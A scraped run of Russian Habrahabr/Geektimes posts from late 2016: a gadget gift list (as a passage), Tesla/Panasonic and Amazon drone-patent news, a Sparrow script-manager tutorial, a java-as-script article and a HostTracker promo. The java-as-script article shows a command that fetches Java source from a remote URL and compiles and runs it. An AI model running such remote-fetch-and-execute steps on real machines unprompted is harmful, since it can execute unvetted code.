выемка, которая выполнена по образу и подобию нефритовых камней «успокоения» из Древнего Китая. Китайцы, да и не только они, тысячи лет используют «камни беспокойства» для релаксации. Кроме того, здесь есть кнопки, джойстик, переключатель, шарик и колесики, диск с ручкой. Все это щелкает, крутится, нажимается, что позволяет перестать нервничать. Средство это верное, доказано тысячами покупателей Fidget Cube. Сейчас его у нас разобрали, так что доступен только предзаказ , новые кубики появятся в начале 2017 года. Bobby — рюкзак для гиков Рюкзак этот мы тоже описывали , причем очень подробно. Создатели рюкзака позиционируют его, как «лучший противоугонный рюкзак». И это действительно так. Создан он из прочных материалов, которые размещены слоями. Снаружи нет никаких отсеков — все расположено внутри. Верхний слой — это стильная ткань из полиэстера, за ней идет 6-миллиметровый слой антишок-материала (защищающего от ударов), а после — несколько слоёв ткани, обеспечивающих дополнительную защиту. Внутри — куча всяких отделений, которые могут служить для размещения любых гаджетов (ноутбук, планшеты, телефон), термоса, канцелярских принадлежностей и много чего еще. Продумано здесь все до мелочей, это становится сразу понятно, когда берешь рюкзак в руки. В общем, если вы искали рюкзак для гиков, то Bobby — это именно то, что нужно. Акваферма AquaFarm Акваферма — замкнутая экосистема, в которой три основных компонента. Это вода, рыбка и растения (ну да, не забудем еще про сам аквариум). Рыбка дает отходы жизнедеятельности, которые служат питанием для растений. Благодаря такой системе круглый год можно получать свежую зелень к столу. Вода очищается в аквариуме растениями, и все чувствуют себя хорошо: рыбка, растения и владелец. Производится AquaFarm в России. Размеры аквариума небольшие — 30,5 х 29,5 см. Он поместится как дома, так и в офисе. Купить акваферму в России можно у Madrobots . Планшет для рисования водой Buddha Board Интересный гаджет, который может послужить отличным подарком и детям, и взрослым. Здесь рисовать нужно не красками, а водой, при помощи бамбуковой кисточки. При этом решается сразу несколько проблем: не нужны краски, никто не мажется, рисовать можно где угодно. Для появления изображения на Buddha Board Original необходимо провести мокрой кисточкой по поверхности доски. Вместе с медленным испарением воды рисунок исчезает, оставляя вас с ясным сознанием перед чистым листом. Восточный реклакс и созерцание — вот, что такое Buddha Board. Ну, на самом деле это еще и отличное развлечение. Конечно, купить Buddha Board можно у нас , в любое время. 3D-пазл UGears Сейф (Safe) Компания Ugears выпускает 3D пазлы. Это новое слово в «пазлостроении», где вы собираете не картинку с замками и принцессами (ну, или что-то еще), а объемную структуру с подвижными элементами. 3D-пазл UGears Сейф — это отличное развлечение. После его сборки вы получаете деревянный сейф с кодовым замком, вращающимися ручками и прочими атрибутами настоящего сейфа. И да, вы можете установить код на замок. Все это легко превращается в развлечение, когда кто-то закрывает что-то в сейфе, а остальные пытаются, прислушиваясь к щелчкам замка, открыть сейф и похитить его содержимое. Набор изготовлен из фанеры при помощи программируемого лазерного станка: детали легко выдавливаются из планшетов, заусенцев практически не образуется, все надписи (режимы движения, условные обозначения, логотип производителя) нанесены тоже при помощи лазера. По качеству эти модели намного превосходят изготовленные штампованием. Умная лампа Mipow Playbulb Lite Системы типа «умный дом» в наше время становятся все популярнее. Причем установка различных элементов таких систем упрощается, можно даже не всю квартиру превращать в умную, а действовать постепенно. Начать можно с лампочек. Умная лампа Mipow Playbulb Lite — это гаджет, который состоит из источника яркого света и качественной аудиосистемы. Цоколь здесь распространенный, Е26/Е27, поэтому использовать лампочку можно практически везде. Управлять ею нужно при помощи специального приложения, по Bluetooth. Цена Mipow Playbulb Lite, кстати, ниже цены многих аналогов. При желании можно менять яркость ламы, цвет и некоторые другие параметры. Биван «Биван» — это диван, который можно взять с собой в любое путешествие. Это, как мы любим говорить, мебель из воздуха. «Биваны» делаем мы. В мае уходящего года мы собрали более трех миллионов рублей на разработку таких систем, и запустили их производство. Биван весит в пределах 1500 грамм и в сложенном виде помещается в небольшую наплечную сумку, которая имеется в комплекте. Даже кресло-мешок весит больше. Отдыхать в нем можно в аэропорту, на природе, дома — да где угодно. Он очень удобен. Ну, а поскольку создатели дивана такого типа — это мы, то и купить «Биван» можно в магазине Madrobots . Кошелек Zavtra Еще одна вещь, которую мы с нуля разработали, и мы же ее продаем. Точнее, мы создали не только этот кошелек, но и множество других стильных аксессуаров бренда Zavtra. О самом бренде мы напишем на Хабре в самом начале 2017 года. А расскажем сейчас только о кошельке, ведь он входит в топ-10 наших продаж. В нем нет отделения для монет, зато влезет крупная и мелкая наличность на несколько дней и необходимые каждый день пластиковые карты (4-5), плюс права или пропуск. Он тонкий, носить его можно хоть в кармане, хоть в сумке. Кошелек Zavtra еще и очень удобный и долговечный. Тест-микроскоп для определения овуляции Ovulux Удивлены? Здесь все закономерно, ведь это устройство представляет собой это многоразовый экспресс-тест, за несколько минут определяющий фазу менструального цикла и готовность женского организма к зачатию. Самое интересное то, что тестовым материалом служит слюна. Устройство размером с тюбик губной помады представляет собой мини-микроскоп со стеклянными линзами и автономной подсветкой. С Ovulux больше не нужно искать укромных мест, провести тест вы сможете где угодно, не смущаясь окружающих. Для женщин с нерегулярным циклом экспресс-тест Ovulux является одним из самых оптимальных способов определить текущую фазу, потому что полагаться на календарные расчёты в их случае небезопасно. Умный браслет Xiaomi Mi Band 2 Китайские производители гаджетов из Xiaomi идут впереди планеты всей со своими разработками. Не так давно они представили умный фитнес-трекер, который, в отличие от предыдущей модели, оснащен монохроным дисплеем. У этого браслета небольшие размеры и малый вес. Он умеет отслеживать физическую активность пользователя с высокой точностью. Например, просчитывает пройденное человеком расстояние, затраченные калории. Есть здесь и умный будильник, который отслеживает фазы сна и будит человека в наиболее подходящий для этого момент. Но главное обновление — это пульсометр! Где можно купить Xiaomi Mi Band 2? Ну, вы уже догадались . P.S. мы тут еще подумали, и решили написать, что с 31-го декабря по 2-е января (включительно) у нас выходные , то есть нерабочие дни. В любое другое время мы полностью готовы к отправке вам новых отличных гаджетов.
https://geektimes.ru/company/madrobots/blog/284134/
habrahabr
Panasonic вложит $256 млн в солнечные панели Tesla
['Solar Roof', 'солнечные панели', 'Tesla', 'Илон Маск', 'Panasonic', 'энергия', 'финансы']
Компания Panasonic вложит 30 миллиардов иен (около $256 млн) в завод Tesla по производству солнечных панелей в Буффало, сообщает Reuters. Данная информация подтверждается официальными...
Компания Panasonic вложит 30 миллиардов иен (около $256 млн) в завод Tesla по производству солнечных панелей в Буффало, сообщает Reuters . Данная информация подтверждается официальными пресс-релизами на сайтах Tesla и Panasonic . Японцы вложатся в проект Solar Roof, который Илон Маск представил публике в конце октября этого года. Производство начнется летом 2017 года, а на расчетную мощность в 1 гВт панелей в год компания Маска планирует выйти к 2019 году. На фоне новостей об инвестициях со стороны Panasonic акции Tesla выросли в этот вторник на 3,5% достигнув отметки $220,75 за бумагу. По условиям сделки, кроме обеспечения функционирования завода и производства панелей, Tesla взяла на себя обязательства по долгосрочному торговому сотрудничеству с Panasonic. О том, что Tesla будет работать с японским гигантом, было известно еще в октябре, но тогда никаких деталей не раскрывалось. Присутствие Panasonic в проекте Solar Roof нельзя назвать неожиданностью. Японцы уже являются эксклюзивными поставщиками батарей для автомобилей Tesla Model S и Model X. Кроме этого Panasonic участвует в проекте создания гигафабрики Tesla по производству аккумуляторных батарей. Solar Roof — проект компании Tesla Motors по созданию фотоэлементов, которые могут заменить кровлю дома без ущерба внешнему виду здания, и вырабатывающие при этом электроэнергию. Проект преподносится как часть комбинированного решения по обеспечению частного домовладения электроэнергией и продвигается вместе с накопителями Powerwall и Powerpack.
https://geektimes.ru/post/284168/
habrahabr
Дроны Amazon будут защищать друг друга от людей-вандалов
['Amazon Prime', 'Prime Air', 'БПЛА', 'доставка товаров', 'экспресс-доставка', 'почтовая служба', 'защита от вандалов']
Доставка первого заказа бесплилотником Amazon Prime Air. 7 декабря 2016 года, район Кембриджа (Великобритания). Доставка товара (Fire TV и пачка попкорна) заняла 13 минут Готовясь к запуску...
Доставка первого заказа бесплилотником Amazon Prime Air. 7 декабря 2016 года, район Кембриджа (Великобритания). Доставка товара (Fire TV и пачка попкорна) заняла 13 минут Готовясь к запуску беспилотной службы доставки Prime Air , компания Amazon ищет способы защиты воздушных дронов от актов вандализма. Компания продумывает каждую мелочь, в том числе поведение дрона в случае обнаружения летящей стрелы. Контрмеры в случае угроз беспилотному летательному аппарату (БПЛА) описаны в патенте США № 9524648 , который опубликован 20 декабря 2016 года (заявка подана 17 ноября 2014 года). Служба доставки Prime Air По первоначальному плану , беспилотники Prime Air будут доставлять покупателю сделанные покупки до дверей дома в течение 30 минут после совершения заказа. Место посадки беспилотника Prime Air у дома покупателя. 7 декабря 2016 года Чтобы соответствовать требованию быстрой доставки БПЛА, груз должен быть легче 2,26 кг, помещаться в контейнер для доставки и находиться в радиусе 16 км от склада Amazon. По статистике, 86% товаров из магазина Amazon соответствуют заданным критериям. Доставка первого заказа, 7 декабря 2016 года 7 декабря 2016 года беспилотник Prime Air доставил первый заказ жителю Кембриджа (Великобритания). Это историческое событие записано с бортовой видеокамеры беспилотника . Беспилотники будут следить друг за другом Патент Amazon описывает метод работы БПЛА с установлением коммуникационного интерфейса в mesh-сети c множеством других дронов. Чтобы защититься от перехвата, навигационная система будет сверять навигационные данные с другими источниками, в том числе полученными от других аппаратов. Таким образом, злоумышленник не сможет так легко осуществить спуфинг навигационной информации: для этого ему придётся взломать сразу всю сеть БПЛА или отключить связь с другими дронами. Если компьютер обнаружит, что данные из первой и второй навигационных систем не совпадают друг с другом, то аппарат мгновенно переводится в режим безопасной посадки (fail-safe). Приземлившись, активируется аварийный режим, когда беспилотник передаёт сигнал бедствия и свои координаты другим дронам в БПЛА-сети и администратору в центр управления Amazon. Факт компрометации навигационной системы может быть определён по вычислению разницы в направлении и скорости движения, которое выдают первая и вторая навигационная системы. То есть второй («контрольный») БПЛА способен проверять, соответствует ли курс подозрительного БПЛА тем координатам, которые указаны в его навигационной системе. Теоретически, для сверки данных первого и второго БПЛА могут использоваться один или несколько дополнительных устройств: компас, гироскоп, акселерометр, датчик крена, часы, устройство измерения скорости и высотомер. После безопасной посадки аппарат со сбойной навигационной системой будет направлен по координатам сервисного центра. Другие («здоровые») БПЛА сообщат пострадавшему товарищу управляющие команды и координаты для полёта. Патент также предусматривает наблюдение за приземлившимся сбойным аппаратом со стороны других БПЛА, составляющих сеть Amazon. Для сверки навигационных данных между аппаратами предусмотрен специальный программно-аппаратный комплекс. В таком комплексе вторая навигационная система первого БПЛА будет иметь доступ к первой навигационной системе второго БПЛА и наоборот. Навигационный компьютер использует для сверки координаты со спутников, показания датчиков высоты над уровнем моря с первого и второго БПЛА. Второй аппарат может определять подозрительную активность на первом аппарате даже исходя из загрузки его вычислительных ресурсов: процессора, памяти, интерфейсов ввода-вывода. Патент описывает различную помощь пострадавшему беспилотнику со стороны других БПЛА, в том числе зарядку его аккумуляторов в автономном режиме другими БПЛА, пролетающими мимо. Таким образом, если аппарат возвращается от клиента налегке, а у него ещё большой заряд аккумулятора, то он может приземлиться и поделиться с энергией с пострадавшим, а затем полететь дальше. Предусмотрена и другая помощь, в том числе принудительная перезагрузка компьютера или отдельных систем у пострадавшего, использование воздушной подушки, пены, парашюта, бампера или активация режима автоматической ротации для одного или нескольких винтов (судя по всему, в этой части патента описана помощь пострадавшему БПЛА, который ещё не совершил посадку или загорелся, или неуправляемо движется по курсу столкновения с препятствием, или неуправляемо падает). Следует понимать, что в патентах принято описывать любые, даже самые фантастические сценарии. Защита от стрел На иллюстрациях в патенте наглядно показано, как должен действовать беспилотник в случае возниковения других чрезвычайных ситуаций. Например, если он обнаружил летящую мимо стрелу, то должен быть активирован режим безопасной посадки. То есть злоумышленнику не обязательно нужно целиться прямо в дорогостоящую технику и выводить её из строя, чтобы украсть товар. Можно просто выстрелить рядом, а затем уже разбираться с полицией за кражу. Amazon сохранит работоспособный аппарат. Схема действия в случае выстрела стрелой показана на иллюстрации. После посадки аппарата активируется аварийный режим. Как было сказано выше, в этом режиме пострадавший аппарат привлекает внимание окружающих дронов, которые могут начать наблюдение за ним, так что «Робин Гуд» не останется незамеченным.
https://geektimes.ru/post/284166/
habrahabr
Sparrow — система управления пользовательскими скриптами
['linux', 'unix', 'perl', 'bash', 'ruby', 'автоматизация']
Здравствуйте. В течение этого года я написал ряд статей о Sparrow — системе управления пользовательскими скриптами. В конце года я хотел бы сделать своего рода результирующий пост, где еще раз...
Здравствуйте. В течение этого года я написал ряд статей о Sparrow — системе управления пользовательскими скриптами. В конце года я хотел бы сделать своего рода результирующий пост, где еще раз попытаюсь описать основную суть этого инструмента. Итак, что же такое Sparrow? Если не вдаваться в различные варианты использование данной системы, Sparrow позволяет быстро разрабатывать, настраивать и запускать пользовательские скрипты. Приведу конкретный пример. В моей работе мне приходится часто заходить на множество серверов и делать там что-то, что называется руками. При этом хочется что бы окружение для моего акаунта было если не таким же, то сильно похожим на то, с чем я имею дело на собственной машине. Вот что имею ввиду: список установленных пакетов, которые часто требуется мне в работе — например tree, curl, nano, git, mc определенная настройка для редактора nano определенная настройка для клиента git И так далее. Список подобного рода мелочей у каждого может быть свой. Все это, конечно можно настраивать и устанавливать вручную, как говорится не "rocket science", но во-первых, нужно каждый раз вводить кучу команд и лезть в документацию, что бы правильно настроить софт. Во-вторых, вы можете банально что-то забыть или упустить, ведь сложно держать все в голове. Все это требует времени и сил. Итак, ни для кого не открою здесь aмерики, нужна обычная автоматизация. Окей. Сразу же предвижу здесь комментарии вида, а почему бы не использовать для такого рода задач какой-нибудь chef или ansible. На это у меня есть ряд мыслей, вот они: Chef или Ansible хороши для решения задач промышленного масштаба, когда у вас есть много серверов и типовая, хорошо организованная инфраструктура, которую легко выразить через (cook/play)буки. Если у вас есть кастомные, личные скрипты, которые, по сути, устраивают вас и вы не хотели бы их превращать в универсальные решения — то решения типа chef или ansible уже может быть своего рода перебором. Так же нельзя забывать, что тот же chef в своем стандартном workflow требует серверной части и правильно настроенного шеф клиента ( регистрация ноды ) — согласитесь уже многовато для решения задачи типа — установить редактор nano или настроить конфиг git клиента. И, наконец, порой у вас уже есть готовый и устраивающий вас bash скрипт, который вы хотите просто запустить на целевом сервере, при этом совершенно не желая превращать его chef cookbook или ansible playbook и совершать дополнительные "телодвижения", связанные с портированием вашего кода ( что, кстати не всегда гладко для обычных bash/shell скриптов — но этом тема для отдельного поста ) в экоситемы данных инструментов. Все это наводит на мысль, что нужно простое, но при этом достаточное гибкое решение позволяющее ( разрабатывать и ) распространять пользовательские скрипты на различные машины. Так появилась идея Sparrow и репозитария пользовательских сценариев SparrowHub . Подробно об этом я писал * в том числе на Хабре. (*) пост слегка устарел относительно текущей реализации Sparrow, но основная суть там отражена. Итак, если резюмировать основные особенности Sparrow, можно сказать следующее: Sparrow — это оркестратор пользовательских сценариев, позволяющий разрабатывать, распространять и управлять разнообразными скриптами, упакованными и настраиваемыми унифицированным способом. Таким образом, скрипты загружаются в единый репозитарий, имеют автора, версию и документацию, все это аналогично любой системе распространения пакетов, такой как apt/debian или CPAN/Perl. Sparrow предоставляет консольный клиент позволяющий искать (индекс репозитария) и устанавливать и запускать скрипты. Установка скриптов может происходить по последней или заданной версии. Вообще, версионность скриптов поощряет их использование в команде, когда разработчик может вносить очередные изменения в скрипт, выкладывая его с новой версией в репозитарий, при этом пользователи в случае нарушения обратной совместимости всегда могут "откатиться" к предыдущим версиям скрипта. Также упрощается процесс отслеживания изменений в скрипте, когда, зная версию, вы всегда можете посмотреть в changelog файле, что же обновилось за последнее время. В случае с приватными скриптами, когда вы не хотели бы выкладывать их в публичный доступ ( режим работы центрального репозитария ), Sparrow позволяет устанавливать скрипты, размещенные на удаленных git репозитариях ( так называемые private sparrow plugins ). Sparrow в некоторой степени — language agnostic система. Скрипты, загружаемые в репозитарий SparrowHub могут писаться на одном из трех языков: Perl Ruby Bash Для любого из данных языков реализован Sparrow API позволяющий удобным способ настраивать скрипты и организовать многосценарные программы ( то что в Sparrow называется модули ), так же не зависимо от языка написания сценария вы получаете достаточно мощный DSL по верификации выходного потока (stdout) запускаемых скриптов, что делает Sparrow очень привлекательным для написания скриптов тестирования, мониторинга и аудита. ( В качестве одного из примеров посмотрите проект — minoca-pkg-test — тестирования собранных пакетов в операционной системе Minoca OS ). Об всем об этом можно подробно почитать в документации по модулю Outthentic , реализующим среду разработку Sparrow скриптов. Сам Sparrow написан на Perl и ставится как CPAN модуль. У него очень небольшой overhead по зависимостям, что делает достаточно простым в установке. Это основные, но не все характеристики экосистемы Sparrow, далее что бы пост не получился чересчур теоретичным, приведу типичные варианты использования данного инструмента, это конечно даже не введение, но поможет уловить суть того, как работает Sparrow. Установка Sparrow Ставим как обычный CPAN модуль. Так же нам потребуется curl. И на этом все. $ cpanm --notest -q Sparrow $ yum install curl Забрать обновления индекса SparrowHub репозитария. То, что вы обычно делаете выполняя команду apt-get update в Sparrow будет выглядеть так: $ sparrow index update Поиск скриптов Теперь, обновив индекс, можно поискать скрипты, которые в Sparrow называются плагинами. Например, мне нужно все что относится к редактору nano: $ sparrow plg search nano Можно использовать поиск по регулярным выражениям: $ sparrow plg search ssh.* Установка плагинов Ставим плагин так: $ sparrow plg install nano-setup Кстати, если у скрипта есть зависимости, они так же будут установлены. Sparrow поддерживает объявление и установку зависимостей через cpanfile для Perl и Gemfile для Ruby. Как уже говорилось можно поставить плагин по требуемой версии: $ sparrow plg install nano-setup --version 0.1.2 Запуск плагина Установив плагин, мы можем его запустить. Вот, например как я настраиваю nano-rc файл: $ sparrow plg run nano-setup В зависимости от плагина мы можем передать ему на вход различные параметры: $ sparrow plg run nano-setup --param tabsize=2 --param speller='hunspell -x -c' Или же, если мы планируем запускать плагин не один раз, и/или параметров много, мы можем создать задачу, в которой определяем параметры запускаемого плагина, например вот так можно создать задачу по поиску ошибок вида 500 в логе nginx, используя плагин logdog : $ sparrow plg install logdog # проект - это просто контейнер для задач $ sparrow project create nginx # задача имеет имя и связанный с ней плагин $ sparrow task add nginx 500-errors logdog # теперь мы настраиваем задачу: $ sparrow task ini nginx/500-errors <logdog> file /var/log/nginx/access.log time_pattern \[(\d+\/\S+\/\d+):(\S+) time_format %d/%b/%Y %T history 5 minutes timezone Europe/Moscow filter HTTP\/\S+?"\s+500\s key_field (\S+) density 3 check_mode report </logdog> Теперь мы можем запустить задачу с заданными параметрами: $ sparrow task run nginx/500-errors Или же переопределить некоторые параметры в момент запуска: $ sparrow task run nginx/500-errors --param logdog.density=10 --param logdog.history="'1 weeks'" Если мы забыли как использовать плагин, всегда можно получить его документацию: $ sparrow plg man nano-setup Или же воспользоваться web интерфейсом SparrowHub найдя требуемый плагин: https://sparrowhub.org/info/nano-setup Публикация задач Иногда удобно сохранить собственную задачу, чтобы воспользоваться ей позже на другом сервере. Приведу простой пример. У меня есть список пакетов, которыми я часто пользуюсь в ходе своей работе. Можно сказать, что они с большой вероятностью понадобятся при работе с новым сервером. Окей, воспользуемся плагином package-generic для установки пакетов под разные дистрибутивы. Сначала установим плагин и создадим задачу: $ sparrow plg install package-generic $ sparrow project create utils $ sparrow task add utils my-packages package-generic $ sparrow task ini utils/my-packages list tree mc nano hunspell git Теперь сохраним задачу на сервере SparrowHub в моем акаунте: $ sparrow remote task upload utils/my-packages 'my useful packages' Теперь, зайдя на другой сервер, не мучаясь и не вспоминая список требуемых мне пакетов, просто устанавливаю их из задачи: $ ssh new-server $ sparrow remote task run utils/my-packages Получить список моих удаленных задач ( remote tasks ) можно так: $ sparrow remote task list Можно так же сделать мою удаленную задачу публичной, что бы затем любой другой мог воспользоваться ей: $ sparrow remote task share utils/my-packages Теперь пользователи могут запустить мою задачу: $ sparrow remote task run melezhik@utils/my-packages Получить список всех доступных удаленных задач на SparrowHub можно так: $ sparrow remote task public list Разработка и публикация собственных плагинов — тема для отдельного топика, кому интересно может посмотреть мой пост * на Хабре об этом. (*) публикация слегка устарела относительно текущей версии Sparrow но может быть полезна как отправная точка, далее можно обратиться к документации по среде разработки Sparrow плагинов — Outthentic или же в случае с написанием сценариев тестирования для web приложений — системе swat . На этом пожалуй все, хотя конечно же это был беглый экскурс в систему, подробнее о всевозможных фичах Sparrow можно почитать на страницах документации. Резюме Итак, чем же может быть полезен Sparrow? Попытаюсь подытожить: быстрое сохранение собственных скриптов с целью их повторного использования вами или другими на различных серверах. полезный API дающий возможности "из коробки" настраивать ваши скрипты с большим набором поддерживаемых "форматов" конфигураций — INI style, Config::General, YAML, JSON, командная строка. Поддержка переопределения отдельных параметров конфигурации ( с сохранением значений по умолчанию ). встроенный DSL для верификации вывода скриптов позволяет легко и быстро писать различные скрипты для мониторинга, тестирования и аудита, с применением модели BlackBox тестирования. PS: Поздравляю всех с наступающим! Успехов! Да и в конце традиционно небольшой опросник со схожей тематикой.
https://habrahabr.ru/post/318604/
habrahabr
Компиляция Java программ и разрешение зависимостей в runtime
['java', 'janino', 'maven', 'компилятор', 'разрешение зависимостей']
Как можно совместить некоторые достоинства динамических языков со строгой типизацией в обычном Java коде? Самое интересное на хабре, обычно происходит в комментариях к статье. Вот и в этот раз в...
Как можно совместить некоторые достоинства динамических языков со строгой типизацией в обычном Java коде? Самое интересное на хабре, обычно происходит в комментариях к статье. Вот и в этот раз в комментариях к «Модуляризация в JavaSE без OSGI и Jigsaw» началось обсуждение что работа через reflection в java перечеркивает многие плюсы библиотеки mvn-classloader . В Groovy же с этой библиотекой работать просто и удобно: def hawtIoConsole = MavenClassLoader.usingCentralRepo().forMavenCoordinates('io.hawt:hawtio-app:2.0.0').loadClass('io.hawt.app.App') Thread.currentThread().setContextClassLoader(hawtIoConsole.getClassLoader()) hawtIoConsole.main('--port','10090') Попробуем это исправить с помощью java-as-script.jar , исходный код проекта доступен на github . Динамическая компиляция Стандарт JSR 199 — java Compiler API, существует довольно давно. Интерфейсы API присутствуют в java пакетах javax.tools.* . Но чтобы компилировать java код из памяти в память и потом запустить его, надо изрядно написать кода и побить в бубен . Реализация компилятора не идет в составе JRE и tools.jar нет в maven репозитариях. Хотелось бы что-нибудь готовое, не велосипедить каждый раз и коллега подсказал проект Janino . Сам janino содержит свой компилятор подмножества java и хорошо подходит лишь для вычисления выраженией. Есть org.codehaus.janino:commons-compiler-jdk который использует JSR 199, но вот только сильно зависит от oracle/openjdk tools.jar. Доработав этот проект, java-as-script включает в себя eclipse java compiler и доработанный под него commons-compiler-jdk. Он самодостаточен и позволяет компилировать и загружать код java 8 даже в JRE. Динамическое разрешение зависимостей В Groovy есть удобный механизм Grape , который позволяет добавить любые зависимости из maven репозитариев в ваш скрипт. Если объеденить компилятор java и mvn-classloader , то в Java программу можно добавить зависимости с помощью комментариев в исходном коде. //dependency:mvn:/org.slf4j:slf4j-simple:1.6.6 //dependency:mvn:/org.apache.camel:camel-core:2.18.0 Приведу рабочий пример. Для запуска кода сигнализации на RaspberryPi достаточно лишь одного java файла . Запустить пример можно из командной строки: java [email protected] -Dpassword=******* -jar java-as-script-1.1.jar https://raw.githubusercontent.com/igor-suhorukov/alarm-system/master/src/main/java/com/github/igorsuhorukov/alarmsys/AlarmSystem.java package com.github.igorsuhorukov.alarmsys; //dependency:mvn:/com.github.igor-suhorukov:mvn-classloader:1.8 //dependency:mvn:/org.apache.camel:camel-core:2.18.0 //dependency:mvn:/org.apache.camel:camel-mail:2.18.0 //dependency:mvn:/io.rhiot:camel-webcam:0.1.4 //dependency:mvn:/io.rhiot:camel-pi4j:0.1.4 //dependency:mvn:/org.slf4j:slf4j-simple:1.6.6 import com.github.igorsuhorukov.smreed.dropship.MavenClassLoader; import org.apache.camel.Endpoint; import org.apache.camel.Exchange; import org.apache.camel.Processor; import org.apache.camel.builder.RouteBuilder; import org.apache.camel.impl.DefaultAttachment; import org.apache.camel.impl.DefaultCamelContext; import org.apache.camel.management.event.CamelContextStartedEvent; import org.apache.camel.management.event.CamelContextStoppedEvent; import org.apache.camel.support.EventNotifierSupport; import javax.mail.util.ByteArrayDataSource; import java.lang.reflect.Method; import java.util.Date; import java.util.EventObject; class AlarmSystem { public static void main(String[] args) throws Exception{ String login = System.getProperty("login"); String password = System.getProperty("password"); DefaultCamelContext camelContext = new DefaultCamelContext(); camelContext.setName("Alarm system"); Endpoint mailEndpoint = camelContext.getEndpoint(String.format("smtps://smtp.mail.ru:465?username=%s&password=%s&contentType=text/html&debugMode=true", login, password)); camelContext.addRoutes(new RouteBuilder() { @Override public void configure() throws Exception { from("pi4j-gpio://3?mode=DIGITAL_INPUT&pullResistance=PULL_DOWN").routeId("GPIO read") .choice() .when(header("CamelPi4jPinState").isEqualTo("LOW")) .to("controlbus:route?routeId=RaspberryPI Alarm&action=resume") .otherwise() .to("controlbus:route?routeId=RaspberryPI Alarm&action=suspend"); from("timer://capture_image?delay=200&period=5000") .routeId("RaspberryPI Alarm") .to("webcam:spycam?resolution=HD720") .setHeader("to").constant(login) .setHeader("from").constant(login) .setHeader("subject").constant("alarm image") .process(new Processor() { @Override public void process(Exchange it) throws Exception { DefaultAttachment attachment = new DefaultAttachment(new ByteArrayDataSource(it.getIn().getBody(byte[].class), "image/jpeg")); it.getIn().setBody(String.format("<html><head></head><body><img src=\"cid:alarm-image.jpeg\" /> %s</body></html>", new Date())); attachment.addHeader("Content-ID", "<alarm-image.jpeg>"); it.getIn().addAttachmentObject("alarm-image.jpeg", attachment); //set CL to avoid javax.activation.UnsupportedDataTypeException: no object DCH for MIME type multipart/mixed Thread.currentThread().setContextClassLoader( getClass().getClassLoader() ); } }).to(mailEndpoint); } }); registerLifecycleActions(camelContext, mailEndpoint, login); camelContext.start(); } } Чтобы избавиться от reflection в коде, нужно в зависимостях скрипта указать API к которому делается cast классов из mvn-classloader загрузчика и указать в качестве parent загрузчика загрузчик который грузил класс скрипта. Внедрить запуск скрипта в существующую программу на JVM довольно просто: org.github.suhorukov.java.as.script.ScriptRunner#runScript(String scriptText, String[] scriptArgs) Если же вам нужен загрузчик классов, то достаточно вызвать org.github.suhorukov.java.as.script.JavaCompiler#compileScript(java.lang.String scriptText) и после этого работать с классами из скрипта в вашей программе. Для быстрой отладки и генерации pom.xml и java исходников, можно запустить программу с параметром -DgenerateMavenProjectAndExit=true В текущей директории создастся pom файл для maven и все необходимые директории с исходным кодом. Это позволяет разрабатывать скрипт в привычной вам IDE со всеми ее возможностями по работе с кодом на java и его отладки. java-as-script загружает исходный код программы по какому-либо из сотни протоколов java.net.URL , разрешает зависимости скрипта на java, указанные как комментарии //dependency:mvn:/, компилирует исходный код с этими зависимостями, загружает класс и запускает его main метод. При этом можно подключиться с помощью remote debugger и отлаживать скрипт как обычную программу на java.
https://habrahabr.ru/post/318544/
habrahabr
Падают ли сайты на праздники чаще, чем обычно? Мифы, реальность и как себя обезопасить
['host-tracker', 'hosting', 'uptime', 'monitoring', 'хостинг', 'мониторинг сайта', 'хосттрекер', 'мониторинг сервера', 'мониторинг', 'web-разработка', 'веб-сервисы', 'веб-проекты']
Приближаются новогодние праздники, и это особое время для многих сфер деятельности. Для кого-то это мертвый сезон, для других же — возможность дополнительно заработать. Людям, чья деятельность...
Приближаются новогодние праздники, и это особое время для многих сфер деятельности. Для кого-то это мертвый сезон, для других же — возможность дополнительно заработать. Людям, чья деятельность тесно связана с работой сайтов и вообще ИТ инфраструктуры, тоже нелегко. С одной стороны, хочется расслабиться, но с другой — присутствует иррациональный страх, что тщательнейшим образом настроенная система, работающая без перебоев уже много месяцев, упадет, как только от нее отвернешься. Что характерно, нередко так и бывает. Как все же позволить себе отдохнуть? Один из выходов — внешний мониторинг сайтов и серверов. Паранойя или все же есть повод беспокоиться? Конечно, все знают законы Мерфи: если какая-то гадость может случиться, то она обязательно случится. Айтишникам об этом лишний раз напоминать не требуется. У каждого в запасе есть история о том, как в Новогоднюю ночь накатывались бэкапы или под шампанское поднималась сеть. На самом деле, конечно же, шанс в среднем такой же, как и в остальные дни. Но есть два «но»: во-первых, все хозяйство остается без присмотра несколько дольше, чем в течении обычных выходных, а ответственные сотрудники все сплошь где-то по отпускам; во-вторых, внезапно может оказаться, что в конце года запланировано множество каких-то автоматических действий, например, годовой бэкап или построение годовых отчетов, которые несколько увеличивают шансы админов на поездку в офис утром первого. Но есть и вполне реальная угроза. Нередко хакеры планируют свои черные дела именно на праздники. Причина может быть разной: расчет на длительное время реакции, лучший медиа эффект, пиковые нагрузки на системы в определенных сферах бизнеса и т.д. Например, прошлый новый год было весело админам ВВС . А позапрошлое рождество упали одновременно сервисы Xbox Live и Playstation. Если даже такие гиганты, как Microsoft и Sony подвержены риску, что уж говорить о простых смертных. Скрытая угроза Есть и более банальные причины. Например, забыть оплатить услуги хостинга или другие смежные. Если не сделать этого загодя — то бухгалтера во время праздничной недели можно и не найти. А еще люди во время законного отдыха не очень любят читать рабочую почту, в результате напоминания об окончании срока действия домена или сертификата можно совершенно случайно проморгать. Кстати, такие истории — не редкость . Для решения подобных задач существуют сервисы внешнего мониторинга, которые располагают возможностью уведомить нужного человека даже доступным во время праздников способом. Например, вот так . Предлагаем помощь Сервис мониторинга ХостТрекер предлагает свои услуги в качестве предохранителя от подобных неожиданностей. Он может много чего проверять и много как оповещать: И да, эту публикацию мы пишем, уже имея реальный опыт отлова критических поломок именно на Новый Год среди наших клиентов, в том числе хакерского взлома с реальной утечкой денег, которая была почти вовремя пресечена. Конечно, неприятно получить в самый разгар праздника СМС о том, что творится что-то неладное. Но, возможно, лучше оторваться на несколько минут, чем разгребать счастье весь остаток праздников. Но будем оптимистами — если СМС так и не придет, то вот это мерзенькое чувство, под названиями типа «я же ответственный», «на мне только все и держится» и т.д. может быть безоговорочно подавлено в самом зародыше. Не забываем также, что в поддержке хостинга тоже люди работают. Как быстро они отреагируют на Ваш запрос — это на их совести (и кошельке, если что), но если вот и мы напишем им на 3-й день… Как всегда — рады Вашим замечаниям и комментариям.
https://habrahabr.ru/company/host-tracker/blog/318512/
habrahabr
Обновление программных клиентов 3CX для iOS, Android и MacOS
